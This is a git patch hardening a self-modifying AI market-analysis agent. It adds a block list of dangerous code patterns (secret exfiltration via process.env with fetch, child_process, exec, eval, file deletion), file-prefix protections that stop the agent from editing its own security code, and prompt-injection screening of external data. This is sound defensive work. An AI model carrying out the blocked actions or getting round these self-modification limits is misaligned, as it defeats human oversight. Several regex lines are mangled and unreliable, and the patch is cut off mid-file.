From 064c0229e876b8e4dee70e76636b0c24783f08ab Mon Sep 17 00:00:00 2001 From: R4V3N Date: Sun, 15 Mar 2026 18:07:05 +0100 Subject: [PATCH 1/3] refactor: fix critical/high issues from code review Security: - FORGE content safety scan (isCodeSafe) blocks dangerous code patterns - ORACLE max_tokens centralized via getMaxOracleOutputTokens() - Macro data sanitized for prompt injection (sanitizeMacroText) - FORGE protected file prefixes and backslash path traversal check - FORGE line-count uses actual diff, not net line change - API keys stripped from error logs (sanitizeErrorMessage) Architecture: - Extracted shared utils (salvageJSON, stripSurrogates, extractJSON, paths, groupBy) - Cached loadAllJournalEntries() per session with invalidation Performance: - AbortSignal.timeout() on all 14 fetch calls (10-20s) - Phase 1 data fetches parallelized via Promise.allSettled Testing: 73 new tests (214 total across 9 files) --- CLAUDE.md | 8 +- TODO-review-fixes.md | 51 +++++++++ src/agent.ts | 110 ++++++++++++------- src/axiom.ts | 50 ++------- src/forge.ts | 86 +++++++++++++-- src/index.ts | 12 +-- src/issues.ts | 13 +-- src/journal.ts | 13 ++- src/macro.ts | 65 +++++++++--- src/markets.ts | 14 +-- src/oracle.ts | 59 ++--------- src/security.ts | 4 +- src/self-tasks.ts | 5 +- src/utils.ts | 80 ++++++++++++++ src/validate.ts | 2 +- tests/forge.test.ts | 235 +++++++++++++++++++++++++++++++++++++++++ tests/macro.test.ts | 98 +++++++++++++++++ tests/security.test.ts | 23 ++++ tests/utils.test.ts | 155 +++++++++++++++++++++++++++ 19 files changed, 892 insertions(+), 191 deletions(-) create mode 100644 TODO-review-fixes.md create mode 100644 src/utils.ts create mode 100644 tests/forge.test.ts create mode 100644 tests/utils.test.ts diff --git a/CLAUDE.md b/CLAUDE.md index 7b4589f..ba701ab 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -79,12 +79,16 @@ NEXUS_IDENTITY.md Constitutional identity document (immutable, loaded into AXIOM All external input passes through `security.ts` before reaching the AI: - **Prompt injection**: 20+ regex patterns block classic attacks (instruction override, role hijack, jailbreak tokens) -- **Cost limits**: max 5 issues, 4000 total chars, 8192 output tokens for ORACLE, max 2 FORGE changes per session, max 200 lines per FORGE patch +- **Cost limits**: max 5 issues, 4000 total chars, max 2 FORGE changes per session, max 200 lines per FORGE patch +- **ORACLE token limit**: ORACLE has its own centralized token limit (`MAX_ORACLE_OUTPUT_TOKENS = 8192`) via `getMaxOracleOutputTokens()` in `security.ts`, separate from the default `MAX_OUTPUT_TOKENS = 4096` used by AXIOM/FORGE - **AXIOM output sanitization**: new rules checked for injection, weights clamped 1-10, self-task categories/priorities validated against allowlists - **Meta-rule blocking**: rules referencing 2+ other rules with enforcement keywords are blocked to prevent self-referential spirals - **Self-task deduplication**: normalized word overlap >70% prevents duplicate issues - **Foundational rule protection**: rules r001-r010 cannot be removed, minimum rule count enforced -- **FORGE file protection**: `security.ts`, `forge.ts`, `session.yml`, `README.md` can never be modified by FORGE +- **FORGE file protection**: `security.ts`, `forge.ts`, `session.yml`, `README.md` can never be modified by FORGE; files with `security` or `forge` prefixes are also blocked +- **FORGE content safety**: AI-generated code is scanned by `isCodeSafe()` before writing to disk — blocks secret exfiltration, child_process, exec, filesystem mutations, and eval +- **Macro data sanitization**: GDELT article fields and Alpha Vantage ticker data are sanitized via `sanitizeMacroText()` against injection patterns before entering the ORACLE prompt +- **Error log sanitization**: API keys are stripped from error messages via `sanitizeErrorMessage()` before logging ## Working With the Code diff --git a/TODO-review-fixes.md b/TODO-review-fixes.md new file mode 100644 index 0000000..9447756 --- /dev/null +++ b/TODO-review-fixes.md @@ -0,0 +1,51 @@ +# Code Review Fixes — 2026-03-15 + +Findings from architecture, security, and performance review. + +## Critical + +- [x] **FORGE content safety scan** — `isCodeSafe()` scans for dangerous patterns before writing to disk +- [x] **ORACLE max_tokens bypass** — centralized via `getMaxOracleOutputTokens()` in security.ts + +## High — Security + +- [x] **Sanitize macro data for prompt injection** — `sanitizeMacroText()` checks GDELT/Alpha Vantage fields against injection patterns +- [x] **Strengthen FORGE protected file checks** — `PROTECTED_PREFIXES` blocks security-/forge- filenames, backslash path traversal check added +- [x] **Fix FORGE line-count metric** — now counts actual diff lines via set comparison, not net line change +- [x] **Strip API keys from error logs** — `sanitizeErrorMessage()` redacts api_key params before logging +- [ ] **Document GITHUB_TOKEN scope** — note in CLAUDE.md that only the default `GITHUB_TOKEN` should be used, not PATs + +## High — Architecture + +- [x] **Extract shared utilities into `src/utils.ts`** — salvageJSON, stripSurrogates, extractJSONFromResponse, path constants, groupBy +- [x] **Cache `loadAllJournalEntries()` per session** — in-process cache with invalidation on save + +## High — Performance + +- [x] **Add `AbortSignal.timeout()` to all fetch calls** — 10s markets, 15s macro, 20s GitHub API +- [x] **Parallelize Phase 1 data fetches** — markets, macro, issues, self-tasks via Promise.allSettled + +## High — Testing + +- [x] **Add tests for core modules** — forge.ts (28 tests), utils.ts (25 tests), expanded security + macro tests + +## Medium — Security + +- [ ] **ReDoS mitigation** — bound `\s+` to `\s{1,10}` in injection patterns (`security.ts:10-48`) +- [ ] **GitHub Pages XSS** — allowlist bias values before using in HTML attributes (`journal.ts:213`) +- [ ] **Sanitize resolvedSelfTasks comments** — validate length and content before posting as GitHub comments (`security.ts:340`) + +## Medium — Code Quality + +- [ ] **Fix crash handler phase label** — catch-all in `runSession()` always logs `phase: "oracle"` regardless of actual phase (`agent.ts:468-471`) +- [ ] **Break up `runSession()`** — 325-line God function, extract into phase functions +- [ ] **Break up `runAxiomReflection()`** — 315-line function doing prompt building, API call, validation, memory evolution, and self-task management +- [ ] **Cap `sessions.json`** — unbounded growth, should archive or cap to last N entries +- [ ] **Empty catch blocks** — 12 across agent.ts and axiom.ts swallow errors silently, add at minimum `console.debug()` + +## Low + +- [ ] **Use `npm ci` in GitHub Actions** — currently `npm install`, lock file not strictly enforced +- [ ] **Add `dist/` to .gitignore** — `package.json` declares `main: dist/index.js` +- [ ] **Externalize instrument list** — 17 instruments hardcoded in `markets.ts:11-29` +- [ ] **TruffleHog unverified secrets** — `--only-verified` flag misses rotated keys in git history diff --git a/src/agent.ts b/src/agent.ts index 72589af..06b2486 100644 --- a/src/agent.ts +++ b/src/agent.ts @@ -26,11 +26,9 @@ import { saveJournalEntry, } from "./journal"; import { validateOracleOutput, logFailure, loadRecentFailures } from "./validate"; +import { MEMORY_DIR, ANALYSIS_RULES_PATH } from "./utils"; import type { AnalysisRules } from "./types"; -const MEMORY_DIR = path.join(process.cwd(), "memory"); -const ANALYSIS_RULES_PATH = path.join(MEMORY_DIR, "analysis-rules.json"); - // ── Session ID generator ─────────────────────────────────── function generateSessionId(): string { @@ -210,48 +208,93 @@ export async function runSession(force = false): Promise { return; } - // ── Phase 1: Fetch market data ── - console.log(chalk.bold.yellow(" ── PHASE 1: MARKET DATA ──\n")); - const marketSpinner = ora({ text: "Fetching live market data...", color: "yellow" }).start(); + // ── Phase 1: Fetch all data in parallel ── + console.log(chalk.bold.yellow(" ── PHASE 1: DATA FETCH ──\n")); + const phase1Spinner = ora({ text: "Fetching market data, macro context, issues...", color: "yellow" }).start(); + + const [marketsResult, macroResult, issuesResult, selfTasksResult] = await Promise.allSettled([ + fetchAllMarkets(), + fetchMacroSnapshot(), + fetchCommunityIssues(), + fetchOpenSelfTasks(), + ]); + // ── Handle markets (required) ── let snapshots; - try { - snapshots = await fetchAllMarkets(); - marketSpinner.succeed(chalk.green(`Fetched ${snapshots.length} instruments`)); - } catch (err) { - marketSpinner.fail("Failed to fetch market data"); - throw err; + if (marketsResult.status === "fulfilled") { + snapshots = marketsResult.value; + } else { + phase1Spinner.fail("Failed to fetch market data"); + throw marketsResult.reason; + } + + // ── Handle macro (optional) ── + let macroText = ""; + if (macroResult.status === "fulfilled") { + const macroSnapshot = macroResult.value; + const sourceCount = macroSnapshot.indicators.length + (macroSnapshot.treasuryDebt.length > 0 ? 1 : 0) + (macroSnapshot.geopoliticalEvents.total > 0 ? 1 : 0); + if (sourceCount > 0) { + macroText = formatMacroForPrompt(macroSnapshot); + } + } + + // ── Handle issues (optional) ── + let issuesText = ""; + if (issuesResult.status === "fulfilled") { + const issues = issuesResult.value; + if (issues.length > 0) { + issuesText = formatIssuesForPrompt(issues); + } + } + + // ── Handle self-tasks (optional) ── + let selfTasksText = ""; + let selfTaskNumbers: number[] = []; + if (selfTasksResult.status === "fulfilled") { + const selfTasks = selfTasksResult.value; + setCachedOpenTasks(selfTasks); + selfTaskNumbers = selfTasks.map((t) => t.number); + if (selfTasks.length > 0) { + selfTasksText = formatSelfTasksForPrompt(selfTasks); + } + } + + // ── Summarize Phase 1 results ── + const failedSources: string[] = []; + if (macroResult.status === "rejected") failedSources.push("macro"); + if (issuesResult.status === "rejected") failedSources.push("issues"); + if (selfTasksResult.status === "rejected") failedSources.push("self-tasks"); + + if (failedSources.length > 0) { + phase1Spinner.warn(chalk.yellow(`Fetched ${snapshots.length} instruments (${failedSources.join(", ")} unavailable)`)); + } else { + phase1Spinner.succeed(chalk.green(`Fetched ${snapshots.length} instruments + macro, issues, self-tasks`)); } printMarketsTable(snapshots); - // ── Phase 1d: Macro & geopolitical context ── - let macroText = ""; - try { - const macroSpinner = ora({ text: "Fetching macro & geopolitical data...", color: "yellow" }).start(); - const macroSnapshot = await fetchMacroSnapshot(); + // Print macro details + if (macroResult.status === "fulfilled") { + const macroSnapshot = macroResult.value; const sourceCount = macroSnapshot.indicators.length + (macroSnapshot.treasuryDebt.length > 0 ? 1 : 0) + (macroSnapshot.geopoliticalEvents.total > 0 ? 1 : 0); if (sourceCount > 0) { - macroSpinner.succeed(chalk.green(`Macro context: ${macroSnapshot.indicators.length} indicators, ${macroSnapshot.signals.length} signals, ${macroSnapshot.geopoliticalEvents.total} events, ${macroSnapshot.alphaVantage.technicals.length} technicals`)); + console.log(chalk.green(` Macro context: ${macroSnapshot.indicators.length} indicators, ${macroSnapshot.signals.length} signals, ${macroSnapshot.geopoliticalEvents.total} events, ${macroSnapshot.alphaVantage.technicals.length} technicals`)); printMacroSummary(macroSnapshot); - macroText = formatMacroForPrompt(macroSnapshot); } else { - macroSpinner.info(chalk.dim("Macro data: no sources available")); + console.log(chalk.dim(" Macro data: no sources available")); } if (macroSnapshot.errors.length > 0) { for (const e of macroSnapshot.errors) console.log(chalk.dim(` ⚠ ${e}`)); } - } catch { + } else { console.log(chalk.dim(" Macro data: unavailable\n")); } - // ── Phase 1b: Community issues ── - let issuesText = ""; - try { - const issues = await fetchCommunityIssues(); + // Print issues details + if (issuesResult.status === "fulfilled") { + const issues = issuesResult.value; if (issues.length > 0) { console.log(chalk.dim(` Community issues: `) + chalk.cyan(`${issues.length} open`)); - issuesText = formatIssuesForPrompt(issues); for (const issue of issues) { const emoji = issue.label === "feedback" ? "🔴" : issue.label === "challenge" ? "🟡" : "🟢"; console.log(chalk.dim(` ${emoji} #${issue.number} ${issue.title}`)); @@ -260,28 +303,23 @@ export async function runSession(force = false): Promise { } else { console.log(chalk.dim(" Community issues: none open\n")); } - } catch { + } else { console.log(chalk.dim(" Community issues: unavailable\n")); } - // ── Phase 1c: Open self-tasks ── - let selfTasksText = ""; - let selfTaskNumbers: number[] = []; - try { - const selfTasks = await fetchOpenSelfTasks(); - setCachedOpenTasks(selfTasks); - selfTaskNumbers = selfTasks.map((t) => t.number); + // Print self-tasks details + if (selfTasksResult.status === "fulfilled") { + const selfTasks = selfTasksResult.value; if (selfTasks.length > 0) { console.log(chalk.dim(` Open self-tasks: `) + chalk.yellow(`${selfTasks.length} pending`)); for (const t of selfTasks) { console.log(chalk.dim(` ✦ #${t.number} [${t.category}] ${t.title}`)); } - selfTasksText = formatSelfTasksForPrompt(selfTasks); console.log(""); } else { console.log(chalk.dim(" Open self-tasks: none\n")); } - } catch { + } else { console.log(chalk.dim(" Open self-tasks: unavailable\n")); } diff --git a/src/axiom.ts b/src/axiom.ts index 0f9f46e..495bd28 100644 --- a/src/axiom.ts +++ b/src/axiom.ts @@ -8,6 +8,10 @@ import { createSelfTask, closeSelfTask, SelfTask } from "./self-tasks"; import { sanitizeAxiomOutput, getMaxOutputTokens, getMaxSystemPromptLength } from "./security"; import { validateAxiomOutput, logFailure } from "./validate"; import { loadAllJournalEntries } from "./journal"; +import { + salvageJSON, stripSurrogates, extractJSONFromResponse, + MEMORY_DIR, SYSTEM_PROMPT_PATH, ANALYSIS_RULES_PATH, +} from "./utils"; import * as fs from "fs"; import * as path from "path"; import type { @@ -18,10 +22,6 @@ import type { ForgeRequest, } from "./types"; -const MEMORY_DIR = path.join(process.cwd(), "memory"); -const SYSTEM_PROMPT_PATH = path.join(MEMORY_DIR, "system-prompt.md"); -const ANALYSIS_RULES_PATH= path.join(MEMORY_DIR, "analysis-rules.json"); - // ── Build codebase context for AXIOM ────────────────────── // Injects file listing + contents of small/relevant files so @@ -276,8 +276,8 @@ RULE POLICY — CRITICAL: ? identityContext + "\n\n" + systemMessage : systemMessage; - const cleanSystem = fullSystemMessage.replace(/[�-�](?![�-�])|(? (b as { type: "text"; text: string }).text) .join(""); - let jsonText = rawText.replace(/```json\n?|```\n?/g, "").trim(); - - // Extract JSON object if model returned text around it - const firstBrace = jsonText.indexOf("{"); - const lastBrace = jsonText.lastIndexOf("}"); - if (firstBrace > 0 || (lastBrace !== -1 && lastBrace < jsonText.length - 1)) { - if (firstBrace !== -1 && lastBrace !== -1 && lastBrace > firstBrace) { - console.warn(" ⚠ AXIOM returned text around JSON — extracting object"); - jsonText = jsonText.slice(firstBrace, lastBrace + 1); - } - } + const jsonText = extractJSONFromResponse(rawText); let rawParsed: any; @@ -416,32 +406,6 @@ RULE POLICY — CRITICAL: return { reflection, forgeRequests }; } -// ── JSON salvage helper ──────────────────────────────────── - -function salvageJSON(text: string): any | null { - let attempt = text; - - const openBraces = (attempt.match(/{/g) || []).length; - const closeBraces = (attempt.match(/}/g) || []).length; - const openBrackets = (attempt.match(/\[/g) || []).length; - const closeBrackets= (attempt.match(/]/g) || []).length; - - // Close any dangling string - const lastQuote = attempt.lastIndexOf('"'); - const afterLast = attempt.slice(lastQuote + 1); - if (lastQuote > 0 && !afterLast.includes('"') && (afterLast.includes(',') || afterLast.trim() === '')) { - attempt = attempt.slice(0, lastQuote + 1); - } - - attempt = attempt.replace(/,\s*$/, ''); - - for (let i = 0; i < openBrackets - closeBrackets; i++) attempt += ']'; - for (let i = 0; i < openBraces - closeBraces; i++) attempt += '}'; - - try { return JSON.parse(attempt); } - catch { return null; } -} - // ── Memory Evolution ─────────────────────────────────────── async function evolveMemory( diff --git a/src/forge.ts b/src/forge.ts index 08bf9fa..bf9bc12 100644 --- a/src/forge.ts +++ b/src/forge.ts @@ -12,10 +12,45 @@ import { execSync } from "child_process"; import * as fs from "fs"; import * as path from "path"; import { getMaxOutputTokens } from "./security"; +import { stripSurrogates } from "./utils"; import type { ForgeRequest, ForgeResult } from "./types"; const SRC_DIR = path.join(process.cwd(), "src"); +// ── Dangerous code patterns FORGE must never write ──────── +const DANGEROUS_CODE_PATTERNS: { pattern: RegExp; label: string; check?: (code: string) => boolean }[] = [ + { + pattern: /process\.env\.\w+/, + label: "secret exfiltration (process.env combined with fetch)", + check: (code) => /process\.env\.\w+/.test(code) && /\bfetch\s*\(/.test(code), + }, + { pattern: /child_process/, label: "child_process import" }, + { pattern: /\bexecSync\s*\(/, label: "execSync call" }, + { pattern: /\bexec\s*\(/, label: "exec call" }, + { pattern: /\bfs\s*\.\s*writeFileSync\s*\(/, label: "fs.writeFileSync call" }, + { pattern: /\bfs\s*\.\s*unlinkSync\s*\(/, label: "fs.unlinkSync call" }, + { pattern: /\bfs\s*\.\s*rmSync\s*\(/, label: "fs.rmSync call" }, + { pattern: /\bfs\s*\.\s*renameSync\s*\(/, label: "fs.renameSync call" }, + { pattern: /\beval\s*\(/, label: "eval call" }, +]; + +// ── Content safety scan for AI-generated code ───────────── + +export function isCodeSafe(code: string): { safe: boolean; reason?: string } { + for (const entry of DANGEROUS_CODE_PATTERNS) { + if (entry.check) { + if (entry.check(code)) { + return { safe: false, reason: `FORGE output blocked — dangerous pattern: ${entry.label}` }; + } + } else { + if (entry.pattern.test(code)) { + return { safe: false, reason: `FORGE output blocked — dangerous pattern: ${entry.label}` }; + } + } + } + return { safe: true }; +} + // ── Files FORGE can never modify ────────────────────────── // security.ts — constitutional, must not self-modify // session.yml — self-modifying execution environment is too dangerous @@ -26,6 +61,9 @@ const PROTECTED_FILES = new Set([ "README.md", // documentation integrity — FORGE must not strip formatting ]); +// ── Filename prefixes FORGE can never modify ───────────── +const PROTECTED_PREFIXES = ["security", "forge"]; + // ── Max file size FORGE will attempt to patch ───────────── const MAX_FILE_CHARS = 12000; @@ -82,8 +120,21 @@ async function applyForgeRequest( }; } + // ── Security: block files matching protected prefixes ── + const lowerFilename = filename.toLowerCase(); + for (const prefix of PROTECTED_PREFIXES) { + if (lowerFilename.startsWith(prefix)) { + return { + file: req.file, + success: false, + reason: `${filename} matches protected prefix "${prefix}" — FORGE cannot modify it`, + reverted: false, + }; + } + } + // ── Only allow src/*.ts files or README.md — block everything else ── - const isSourceFile = req.file.endsWith(".ts") && !req.file.includes("/") && !req.file.includes(".."); + const isSourceFile = req.file.endsWith(".ts") && !req.file.includes("/") && !req.file.includes("\\") && !req.file.includes(".."); const isReadme = filename === "README.md"; if (!isSourceFile && !isReadme) { @@ -140,9 +191,6 @@ Return the complete modified file with the requested change applied.`; let patchedContent: string; try { - const stripSurrogates = (s: string) => - s.replace(/[\uD800-\uDBFF](?![\uDC00-\uDFFF])|(? = {}; - for (const r of rules.rules) { - if (!byCategory[r.category]) byCategory[r.category] = []; - byCategory[r.category].push(r); - } + const byCategory = groupBy(rules.rules, (r: any) => r.category); for (const [cat, items] of Object.entries(byCategory) as [string, typeof rules.rules][]) { console.log(chalk.dim(` ── ${cat.toUpperCase()} ──`)); diff --git a/src/issues.ts b/src/issues.ts index f18b33f..b6a337f 100644 --- a/src/issues.ts +++ b/src/issues.ts @@ -4,6 +4,7 @@ // ============================================================ import { sanitizeAllIssues, IssueSecurityReport } from "./security"; +import { stripSurrogates } from "./utils"; export interface CommunityIssue { number: number; @@ -31,7 +32,7 @@ export async function fetchCommunityIssues(): Promise { try { const url = `https://api.github.com/repos/${repo}/issues?labels=nexus-input&state=open&per_page=20&sort=reactions&direction=desc`; - const res = await fetch(url, { headers }); + const res = await fetch(url, { headers, signal: AbortSignal.timeout(20000) }); if (!res.ok) { console.warn(` ⚠ GitHub API returned ${res.status} — skipping community issues`); @@ -101,13 +102,7 @@ export function formatIssuesForPrompt(issues: CommunityIssue[]): string { return lines.join("\n"); } -// ── Unicode sanitizer (used internally) ─────────────────── -// Exported so other modules can reuse it +// ── Unicode sanitizer (used internally + by self-tasks) ─── export function sanitizeUnicode(str: string): string { - // Remove lone UTF-16 surrogates — these break JSON serialization - // and can appear when emoji are partially stripped from GitHub text - return str - .replace(/[\uD800-\uDBFF](?![\uDC00-\uDFFF])/g, "") - .replace(/(?]+>/g, ""); + + // Check against injection patterns + for (const pattern of INJECTION_PATTERNS) { + if (pattern.test(cleaned)) { + return "[REMOVED]"; + } + } + + return cleaned; +} + +// ── Error message sanitization ─────────────────────────── + +export function sanitizeErrorMessage(msg: string): string { + return msg + .replace(/api_key=[^&]*/gi, "api_key=[REDACTED]") + .replace(/apikey=[^&]*/gi, "apikey=[REDACTED]"); +} + // ── FRED series definitions ──────────────────────────────── const FRED_SERIES: { id: string; label: string }[] = [ @@ -36,7 +66,7 @@ async function fetchFredSeries(seriesId: string, apiKey: string): Promise<{ valu }); const url = `https://api.stlouisfed.org/fred/series/observations?${params}`; - const res = await fetch(url, { headers: { "Accept": "application/json" } }); + const res = await fetch(url, { headers: { "Accept": "application/json" }, signal: AbortSignal.timeout(15000) }); if (!res.ok) throw new Error(`FRED HTTP ${res.status} for ${seriesId}`); const data = await res.json() as any; @@ -83,7 +113,7 @@ async function fetchTreasuryDebt(): Promise<{ date: string; totalDebt: string; p }); const url = `https://api.fiscaldata.treasury.gov/services/api/fiscal_service/v2/accounting/od/debt_to_penny?${params}`; - const res = await fetch(url, { headers: { "Accept": "application/json" } }); + const res = await fetch(url, { headers: { "Accept": "application/json" }, signal: AbortSignal.timeout(15000) }); if (!res.ok) throw new Error(`Treasury HTTP ${res.status}`); const data = await res.json() as any; @@ -108,12 +138,12 @@ async function fetchGdeltEvents(): Promise<{ total: number; conflicts: GdeltEven }); const url = `https://api.gdeltproject.org/api/v2/doc/doc?${params}`; - let res = await fetch(url, { headers: { "Accept": "application/json" } }); + let res = await fetch(url, { headers: { "Accept": "application/json" }, signal: AbortSignal.timeout(15000) }); // GDELT rate-limits aggressively — retry twice with backoff on 429 for (let attempt = 0; attempt < 2 && res.status === 429; attempt++) { await new Promise((r) => setTimeout(r, (attempt + 1) * 8000)); - res = await fetch(url, { headers: { "Accept": "application/json" } }); + res = await fetch(url, { headers: { "Accept": "application/json" }, signal: AbortSignal.timeout(15000) }); } if (!res.ok) throw new Error(`GDELT HTTP ${res.status}`); @@ -135,13 +165,14 @@ async function fetchGdeltEvents(): Promise<{ total: number; conflicts: GdeltEven const economyKeywords = ["economy", "economic", "tariff", "trade", "gdp", "inflation", "recession", "rate", "bank", "crisis"]; for (const a of articles) { - const title = (a.title ?? "").toLowerCase(); + const rawTitle = a.title ?? ""; + const title = rawTitle.toLowerCase(); const event: GdeltEvent = { - title: a.title ?? "", + title: sanitizeMacroText(rawTitle), url: a.url ?? "", date: a.seendate ?? "", - domain: a.domain ?? "", - country: a.sourcecountry ?? "", + domain: sanitizeMacroText(a.domain ?? ""), + country: sanitizeMacroText(a.sourcecountry ?? ""), }; const isConflict = conflictKeywords.some((k) => title.includes(k)); @@ -176,7 +207,7 @@ function isAlphaVantageRateLimited(data: any): boolean { async function fetchTopGainersLosers(apiKey: string): Promise<{ topGainers: { ticker: string; price: string; changePercent: string }[]; topLosers: { ticker: string; price: string; changePercent: string }[] }> { const url = `https://www.alphavantage.co/query?function=TOP_GAINERS_LOSERS&apikey=${apiKey}`; - const res = await fetch(url, { headers: { "Accept": "application/json" } }); + const res = await fetch(url, { headers: { "Accept": "application/json" }, signal: AbortSignal.timeout(15000) }); if (!res.ok) throw new Error(`Alpha Vantage HTTP ${res.status} for TOP_GAINERS_LOSERS`); const data = await res.json() as any; @@ -186,13 +217,13 @@ async function fetchTopGainersLosers(apiKey: string): Promise<{ topGainers: { ti const rawLosers: any[] = data?.top_losers ?? []; const topGainers = rawGainers.slice(0, 5).map((g: any) => ({ - ticker: g.ticker ?? "", + ticker: sanitizeMacroText(g.ticker ?? ""), price: g.price ?? "", changePercent: g.change_percentage ?? "", })); const topLosers = rawLosers.slice(0, 5).map((l: any) => ({ - ticker: l.ticker ?? "", + ticker: sanitizeMacroText(l.ticker ?? ""), price: l.price ?? "", changePercent: l.change_percentage ?? "", })); @@ -202,7 +233,7 @@ async function fetchTopGainersLosers(apiKey: string): Promise<{ topGainers: { ti async function fetchRSI(symbol: string, apiKey: string): Promise<{ value: number; signal: string }> { const url = `https://www.alphavantage.co/query?function=RSI&symbol=${symbol}&interval=daily&time_period=14&series_type=close&apikey=${apiKey}`; - const res = await fetch(url, { headers: { "Accept": "application/json" } }); + const res = await fetch(url, { headers: { "Accept": "application/json" }, signal: AbortSignal.timeout(15000) }); if (!res.ok) throw new Error(`Alpha Vantage HTTP ${res.status} for RSI ${symbol}`); const data = await res.json() as any; @@ -221,7 +252,7 @@ async function fetchRSI(symbol: string, apiKey: string): Promise<{ value: number async function fetchATR(symbol: string, apiKey: string): Promise { const url = `https://www.alphavantage.co/query?function=ATR&symbol=${symbol}&interval=daily&time_period=14&apikey=${apiKey}`; - const res = await fetch(url, { headers: { "Accept": "application/json" } }); + const res = await fetch(url, { headers: { "Accept": "application/json" }, signal: AbortSignal.timeout(15000) }); if (!res.ok) throw new Error(`Alpha Vantage HTTP ${res.status} for ATR ${symbol}`); const data = await res.json() as any; @@ -378,26 +409,26 @@ export async function fetchMacroSnapshot(): Promise { indicators = fredResult.value; signals = deriveSignals(indicators); } else { - errors.push(`FRED: ${fredResult.reason?.message ?? fredResult.reason}`); + errors.push(sanitizeErrorMessage(`FRED: ${fredResult.reason?.message ?? fredResult.reason}`)); } if (treasuryResult.status === "fulfilled") { treasuryDebt = treasuryResult.value; } else { - errors.push(`Treasury: ${treasuryResult.reason?.message ?? treasuryResult.reason}`); + errors.push(sanitizeErrorMessage(`Treasury: ${treasuryResult.reason?.message ?? treasuryResult.reason}`)); } if (gdeltResult.status === "fulfilled") { geopoliticalEvents = gdeltResult.value; } else { - errors.push(`GDELT: ${gdeltResult.reason?.message ?? gdeltResult.reason}`); + errors.push(sanitizeErrorMessage(`GDELT: ${gdeltResult.reason?.message ?? gdeltResult.reason}`)); } if (avResult.status === "fulfilled") { alphaVantage = avResult.value; signals = signals.concat(deriveAlphaVantageSignals(alphaVantage)); } else { - errors.push(`Alpha Vantage: ${avResult.reason?.message ?? avResult.reason}`); + errors.push(sanitizeErrorMessage(`Alpha Vantage: ${avResult.reason?.message ?? avResult.reason}`)); } return { diff --git a/src/markets.ts b/src/markets.ts index 56aaa00..e55b160 100644 --- a/src/markets.ts +++ b/src/markets.ts @@ -4,6 +4,7 @@ // ============================================================ import chalk from "chalk"; +import { groupBy } from "./utils"; import type { MarketConfig, MarketSnapshot } from "./types"; // ── Instrument Registry ──────────────────────────────────── @@ -35,6 +36,7 @@ async function fetchYahooQuote(symbol: string): Promise { const url = `https://query1.finance.yahoo.com/v8/finance/chart/${encoded}?interval=1d&range=2d`; const res = await fetch(url, { headers: { "User-Agent": "Mozilla/5.0", "Accept": "application/json" }, + signal: AbortSignal.timeout(10000), }); if (!res.ok) throw new Error(`HTTP ${res.status}`); const data = await res.json() as any; @@ -73,11 +75,7 @@ export async function fetchAllMarkets(): Promise { } export function formatSnapshotsForPrompt(snapshots: MarketSnapshot[]): string { - const byCategory: Record = {}; - for (const s of snapshots) { - if (!byCategory[s.category]) byCategory[s.category] = []; - byCategory[s.category].push(s); - } + const byCategory = groupBy(snapshots, (s) => s.category); const lines: string[] = ["=== CURRENT MARKET DATA ===\n"]; for (const [category, items] of Object.entries(byCategory)) { lines.push(`--- ${category.toUpperCase()} ---`); @@ -93,11 +91,7 @@ export function formatSnapshotsForPrompt(snapshots: MarketSnapshot[]): string { } export function printMarketsTable(snapshots: MarketSnapshot[]): void { - const byCategory: Record = {}; - for (const s of snapshots) { - if (!byCategory[s.category]) byCategory[s.category] = []; - byCategory[s.category].push(s); - } + const byCategory = groupBy(snapshots, (s) => s.category); for (const [category, items] of Object.entries(byCategory)) { console.log(chalk.dim(`\n ── ${category.toUpperCase()} ──`)); for (const s of items) { diff --git a/src/oracle.ts b/src/oracle.ts index 0a382b6..f40d439 100644 --- a/src/oracle.ts +++ b/src/oracle.ts @@ -8,16 +8,17 @@ import Anthropic from "@anthropic-ai/sdk"; import * as fs from "fs"; import * as path from "path"; import { formatSnapshotsForPrompt } from "./markets"; +import { getMaxOracleOutputTokens } from "./security"; +import { + salvageJSON, stripSurrogates, extractJSONFromResponse, groupBy, + MEMORY_DIR, SYSTEM_PROMPT_PATH, ANALYSIS_RULES_PATH, +} from "./utils"; import type { MarketSnapshot, OracleAnalysis, AnalysisRules, } from "./types"; -const MEMORY_DIR = path.join(process.cwd(), "memory"); -const SYSTEM_PROMPT_PATH = path.join(MEMORY_DIR, "system-prompt.md"); -const ANALYSIS_RULES_PATH = path.join(MEMORY_DIR, "analysis-rules.json"); - // ── Load evolving memory ─────────────────────────────────── function loadSystemPrompt(): string { @@ -162,11 +163,9 @@ Respond in this JSON structure: Only respond with the JSON, no other text.`; - const stripSurrogates = (s: string) => s.replace(/[�-�](?![�-�])|(? 0 || (lastBrace !== -1 && lastBrace < jsonText.length - 1)) { - if (firstBrace !== -1 && lastBrace !== -1 && lastBrace > firstBrace) { - console.warn(" ⚠ ORACLE returned text around JSON — extracting object"); - jsonText = jsonText.slice(firstBrace, lastBrace + 1); - } - } + const jsonText = extractJSONFromResponse(rawText); let parsed: any; @@ -265,32 +254,6 @@ Only respond with the JSON, no other text.`; }; } -// ── JSON salvage helper ──────────────────────────────────── - -function salvageJSON(text: string): any | null { - let attempt = text; - - const openBraces = (attempt.match(/{/g) || []).length; - const closeBraces = (attempt.match(/}/g) || []).length; - const openBrackets = (attempt.match(/\[/g) || []).length; - const closeBrackets = (attempt.match(/]/g) || []).length; - - // Close any dangling string - const lastQuote = attempt.lastIndexOf('"'); - const afterLast = attempt.slice(lastQuote + 1); - if (lastQuote > 0 && !afterLast.includes('"') && (afterLast.includes(',') || afterLast.trim() === '')) { - attempt = attempt.slice(0, lastQuote + 1); - } - - attempt = attempt.replace(/,\s*$/, ''); - - for (let i = 0; i < openBrackets - closeBrackets; i++) attempt += ']'; - for (let i = 0; i < openBraces - closeBraces; i++) attempt += '}'; - - try { return JSON.parse(attempt); } - catch { return null; } -} - // ── Formatters ───────────────────────────────────────────── function formatRulesForPrompt(rules: AnalysisRules): string { @@ -298,12 +261,8 @@ function formatRulesForPrompt(rules: AnalysisRules): string { lines.push(`Rules version: ${rules.version} | Last updated: ${rules.lastUpdated}`); lines.push(`Focus instruments: ${rules.focusInstruments.join(", ")}\n`); - const byCategory: Record = {}; - for (const r of rules.rules) { - if ((r as any).disabled) continue; // skip disabled rules - if (!byCategory[r.category]) byCategory[r.category] = []; - byCategory[r.category].push(r); - } + const activeRules = rules.rules.filter((r: any) => !r.disabled); + const byCategory = groupBy(activeRules, (r) => r.category); for (const [cat, items] of Object.entries(byCategory)) { lines.push(`[${cat.toUpperCase()}]`); diff --git a/src/security.ts b/src/security.ts index 779d521..e8e10e8 100644 --- a/src/security.ts +++ 